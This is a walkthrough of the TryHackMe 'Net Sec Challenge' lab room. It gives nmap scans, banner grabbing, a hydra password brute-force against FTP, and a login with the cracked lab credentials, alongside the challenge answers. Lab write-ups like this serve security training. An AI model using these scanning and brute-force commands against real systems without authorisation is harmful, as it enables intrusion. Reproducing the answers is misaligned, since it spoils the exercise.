> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/net-sec-challenge.md). # Net Sec Challenge **Room Link:** **What is the highest port number being open less than 10,000?** ``` nmap -sV -sT -O -p 1-10000 $VICTIM ```

**There is an open port outside the common 1000 ports; it is above 10,000. What is it?** ``` nmap -sV -sT -O -p 1-65535 $VICTIM ```

**How many TCP ports are open?** 6 **What is the flag hidden in the HTTP server header?** ``` curl http://$VICTIM -I ```

**What is the flag hidden in the SSH server header?** ``` ssh -v $VICTIM ```

**We have an FTP server listening on a nonstandard port. What is the version of the FTP server?** ``` vsftpd 3.0.3 ``` \ **We learned two usernames using social engineering: `eddie` and `quinn`. What is the flag hidden in one of these two account files and accessible via FTP?** ``` hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://$VICTIM:10021 ```

``` ftp $VICTIM 10021 Name (10.10.129.189:root): quinn Password: andrea ftp> get ftp_flag.txt ```

**Browsing to `http://10.10.129.189:8080` displays a small challenge that will give you a flag once you solve it. What is the flag?** ``` nmap -sN $VICTIM ```